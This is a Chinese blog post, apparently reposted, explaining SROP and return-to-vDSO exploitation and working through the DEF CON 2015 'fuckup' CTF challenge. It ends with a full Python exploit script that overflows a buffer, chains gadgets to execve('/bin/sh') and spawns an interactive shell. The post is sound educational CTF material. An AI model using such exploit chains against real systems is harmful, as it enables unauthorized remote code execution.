srop
来源:互联网 发布:知乎话题广场在哪 编辑:程序博客网 时间:2024/06/14 17:31
基础栈溢出复习 三 之 SROP
<–more–>
承接上一篇,这篇学习SROP
最近出现SROP的题目,就是XCTF -NJCTF中的 Pwn300-233
当然,虽然出题人是这么出的,但是也还是有非预期做法的。比如Joker师傅的针对这个题目的强行解决方案,强行猜libc base 然后暴力跑,用ROP 解决。
那么 SROP是什么,与普通的ROP有什么区别呢?我们可以开始学习了。
什么是SROP
SROP: Sigreturn Oriented Programming 系统Signal Dispatch之前会将所有寄存器压入栈,然后调用signal handler,signal handler返回时会将栈的内容还原到寄存器。 如果事先填充栈,然后直接调用signal handler,那在返回的时候就可以控制寄存器的值。
首先,我们得先了解一下signal的调用流程,那么我就能大概了解SROP的利用原理。
正如mctrain,在他的《Sigreturn Oriented Programming (SROP) Attack攻击原理》文章里所提到的,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)。
在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。
那么,我们是如何利用这个系统调用来做一些不可告人的事情的呢?
在singnal中可以说是,有两个层次,一个是用户,一个是内核层次,我们也可以将这个过程简单的看作。
- User code
- singnal handler
- sigreturn
如果在mctrain文章中看懂了,signal的调用流程,那么我们就可以讲讲,如何去利用攻击,即我们可以讲讲他的攻击流程。攻击流程
注: 以下图片内容均来自https://www.slideshare.net/AngelBoy1/sigreturn-ori 的PDF
- 当内核发起signal
这个时候,我们可以看到栈还并未没push数据,以及ip仍然在User code上。 - 将数据push到栈中时
- 将sigreturn syscall的位置 push 进栈
- 紧接着程序流程跳转至signal handler
- 从signal handler 返回
- 然后流程又跳转至 sigreturn code
- 执行 singreturn syscall
- stack 即栈上的内容全部 pop 回register ,流程又重新回到 user code
至此,我们基本完成了攻击,我们可以大概总结下,
我们需要的攻击条件
第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;
第二,需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh
的地址);
第三,需要知道syscall
指令在内存中的地址;
第四,需要知道sigreturn
系统调用的内存地址。
当然,更详细的,如利用SROP构造系统调用串(System call chains)依旧可以从mctrain,在他的《Sigreturn Oriented Programming (SROP) Attack攻击原理》文章找到,我们这里的重点并不是SROP,而是做SROP CTF题。
SROP构造,及攻击流程概括的来讲就是:
- 伪造sigcontext 结构,push进stack中
- 设置ret address在sigreturn syscall的gadget
- 将signal fram中的rip(eip)设置在syscall(int 0x80)
- 当sigreturn返回时,就可以执行syscall
需要说明的是sigretrun gadget的寻找是有前人总结的
- x86
- vdso 正常的 syscall handler也会使用的
- x64
- kernel <3.3
- vsyscall (0xffffffff600000) <= 位置一直固定
- kernel >= 3.3
- libc <= 普通的syscall hander也会使用
VDSO
了解了一下SROP,我们接下来可以再来学习一下什么是VDSO,以及如何直接利用VDSO做ROPVDSO
VDSO(Virtual Dynamically-linked Shared Object)是个很有意思的东西, 它将内核态的调用映射到用户态的地址空间中, 使得调用开销更小, 路径更好.
- libc <= 普通的syscall hander也会使用
开销更小比较容易理解, 那么路径更好指的是什么呢? 拿x86下的系统调用举例, 传统的int 0x80有点慢, Intel和AMD分别实现了sysenter, sysexit和syscall, sysret, 即所谓的快速系统调用指令, 使用它们更快, 但是也带来了兼容性的问题. 于是Linux实现了vsyscall, 程序统一调用vsyscall, 具体的选择由内核来决定. 而vsyscall的实现就在VDSO中.
Linux(kernel 2.6 or upper)环境下执行ldd /bin/sh, 会发现有个名字叫linux-vdso.so.1(老点的版本是linux-gate.so.1)的动态文件, 而系统中却找不到它, 它就是VDSO. 例如:
12345
wings@sw:~$ ldd /bin/shlinux-vdso.so.1 => (0x00007ffee4bd1000)libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5e19e56000)/lib64/ld-linux-x86-64.so.2 (0x0000557ef5001000)wings@sw:~$
为什么要用VDSO 来做ROP?
在X86系统中,传统的system call:int 0x80并不是由很好的效果的,因此在intel 新型的cpu提供了新的syscall指令。
- sysenter
- sysexit
(Linux kernel 》= 2.6后的版本支持新型syscall机制)
VDSI可以降低在传统的 int 0x80的overhead 以及提供了sigreturn 方便在signal handler结束后返回到user code
如何利用 VDSO 做ROP
我们需要知道 sysenter其参数传递方式和int 0x80是一样的,但是我们需要事前自己做好funcion prologpush ebp;mov ebp,sp
以及需要一个 “A good gadgaet for stack pivot”,因为如果没做function prolog可以利用ebp去改变stack位置
Retrun to vDSO
如何找到vdso 地址?
基本上里利用方法就是:
- 要么暴力解决
- 利用 信息泄露 即我们所受的information leak
- 使用ld.so _libc_stack_end找到 stack其实位置,计算ELF Auxiliary vector offset 并从中取出AT_SYSINFO_EHDR
- 使用ld.so中的_rtld_global_ro的某个offset也有vdso的位置。
我们需要尤其注意的是在开了ASLR的情况下,VDSO的利用是有一定优势的
在x86环境下:
只有一个字节是随机的,所以我们可以很容易暴力解决
在x64环境下
在开启了pie的情形 有 11字节是随机的 例如:CVE-2014-9585
但是在linux kernel 3.182.2版本之后,这个已经增加到了18个字节的随机重头戏来了:Defcon 2015 Qualifier fuckup
题目可以在这里下载: this
我们照旧来分析程序:
总体上来说
程序应该是开启了ASLR 的,每次
用户执行命令时,FUCKUP会根据类似于WELL512的生成算法生成的随机数,改变二进制映射的存储器的基址。
当我们运行程序时,可以看到有一个菜单
1234567891011
$ ./fuckupWelcome to Fully Unguessable Convoluted Kinetogenic Userspace Pseudoransomization, the new and improved ASLR.This app is to help prove the benefits of F.U.C.K.U.P.Main Menu---------1. Display info2. Change random3. View state info4. Test stack smash-------0. Quit
当运行函数,以及反编译程序之后,我们可以了解程序功能。
当我们选择功能2的时候,“App moved to new random location”,text段和stack会被修改,重新指向新的内存地址
当我们选择3的时候,会告诉我们最后一个随机数(其当前determienstextbase)再次随机化text。这可以用于PRNG的预测
选项4:
12
Input buffer is 10 bytes in size. Accepting 100 bytes of data.This will crash however the location of the stack and binary are unknown to stop code execution
我们在功能3找到一个mmap 地址映射函数:
change_random(sub_80481A6)
12345678
do{seedf = randf_state_(a1) * 4294967295.0;seedl = (signed __int64)seedf;expect = (void *)(seedl & 0xFFFFF000);actual = mmap(v3, 0x804CA6C, v2, a1, a2, 0);}while ( (seedl & 0xFFFFF000) != actual );
所以寻常的思路,我们基本是做不了了
大概是这样的,做了不一样的地址映射,所以其实这个题目还是要回归于VDSO以及SROP。
思路如下:
32位下vdso 只有1字节是随机的,我们这里可以brute force然后利用其gadget
可以直接利用overflow return address,只有100个字节
- 先利用vdso的gadget做出read sys call 并加大input的大小
- read 读入的内容放到tls
- tls位置在vdso前一个page
- 使用sysenter 将stack 换到tls段
然后,我们在第二次输入的时候 可以将 /bin/sh 放入到tls段,这里要注意但是,这个时候tls已经在栈了
- 紧接着,我们sigreturn gadget 以及 fack signal frame一并放进,然后可以直接execve执行 /bin/sh
- 进行循环,知道成功getshell
最后的exp,我没能搞定,这里可以参考 hastebin.com的脚本
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129
#!/usr/bin/env python3def read_until(socket, x):data = b""while True:data += socket.recv(4096)if x in data:breakif not data:raise RuntimeError("no data after: %s" % data)return datadef skip(socket, x):print(read_until(target, x).decode("utf8"))print("=======")if __name__ == '__main__':import osimport sysimport timeimport structimport socketimport argparseparser = argparse.ArgumentParser()parser.add_argument("host")parser.add_argument("port", type=int)args = parser.parse_args()target = socket.socket()target.connect((args.host, args.port))input("Are you ready? This is the time to attach gdb and stuff.")skip(target, b"Quit")target.send(b"4\n")skip(target, b"execution")# We partially overwrite the return address, we need to comeup# with valid-in-the-future values for ebx and ebp.payload = b"a" * 14payload += struct.pack("<I", 0x3e1b7a6c) # ebx / computedpayload += struct.pack("<I", 0x3e1b8000) # ebp # must only be valid r/wpayload += b"\x14" # re-trigger init with known/constant random_seed, provided by esi.# Make sure we don't send too much at once.target.send(payload)time.sleep(1)todo = 100 - len(payload)while todo > 0:sending = min(10, todo)target.send(b"a" * (sending - 1) + b"\n")time.sleep(0.2)todo = todo - sendingprint(".", end="", flush=True)print()print("Sent first stage, waiting for menu.")skip(target, b"Quit")target.send(b"4\n")skip(target, b"execution")print("Sending exploit.")def get_addr(addr, name):"""Get runtime addr from ida addr."""ida_base = 0x8048000# It seems under xinetd there is one more call to prng().# Not sure why this is but we just have to check what# value will be generated and use that.# run_base = 0x39d54000 # local no xinetdrun_base = 0xfe97c000 # local with xinetdret = addr + (run_base - ida_base)print("%s will be at %#.8x" % (name, ret))return retdef pack_addr(addr, name):return struct.pack("<I", get_addr(addr, name))payload = b"a" * 14payload += struct.pack("<I", 0x42424242) # basepayload += struct.pack("<I", 0x42424242) # ebp# This is so we can ironically expect a F.U.C.K.U.P.payload += pack_addr(0x080483C0, "welcome")# Setup syscall. ebx, ecx, edx. eax=11payload += pack_addr(0x0804908f, "pop eax; pop ebx; pop esi; ret")payload += struct.pack("<I", 11) # execvpayload += struct.pack("<I", 0x22222222)payload += struct.pack("<I", 0x22222222)payload += pack_addr(0x0804961a, "pop edx; pop ecx; pop ebx; ret")payload += pack_addr(0x080485f9, "NULL") # environpayload += pack_addr(0x080485f9, "NULL") # argvpayload += struct.pack("<I", 0x22222222)# Now we use this neat gadget, /bin/sh is right after us.payload += pack_addr(0x0804875b, "lea ebx, [esp+4]; int 0x80")payload += pack_addr(0x08048a11, "pop; pop; ret")payload += b"/bin/sh\x00"payload += struct.pack("<I", 0x44444444) # eip, too lazy for clean exit.payload = payload.ljust(100, b"\xcc")# Ok, sanity check and good to go.assert len(payload) <= 100, "payload too large, %d bytes." % len(payload)target.send(payload)skip(target, b"F.U.C.K.U.P.")target.set_inheritable(True)print("You should be able to type stuff now.")os.system("socat STDIO FD:%d" % target.fileno())
赏
本文标题:基础栈溢出复习 三 之 SROP
文章作者:Swing
发布时间:2017年03月20日 - 00时00分
最后更新:2017年04月07日 - 21时20分
原始链接:http://bestwing.me/2017/03/20/stack-overflow-three-SROP/
许可协议: "署名-非商用-相同方式共享 3.0" 转载请保留原文链接及作者。
- srop
- Linux SROP 原理与攻击
- Sigreturn Oriented Programming(SROP)Attack攻击原理
- Sigreturn Oriented Programming (SROP) Attack攻击原理
- brop
- mui aiax 与服务器后台数据交互
- Spring的BeanPostProcessor接口实现Demo
- IO操作之文件读写(一)
- mybaties+oracle:插入数据,返回自增长的id
- srop
- PE文件学习笔记(六):总结与PE解析器(PETool)实现
- 线程同步
- 设计模式-行为型模式的要点/结构/适用范围
- ROW/COW 快照技术原理解析
- Java动态代理机制详解(JDK 和CGLIB,Javassist,ASM)
- idea 的奇葩问题
- 最长不下降子序列的O(n^2)算法和O(nlogn)算法
- 双色球机选彩票shell脚本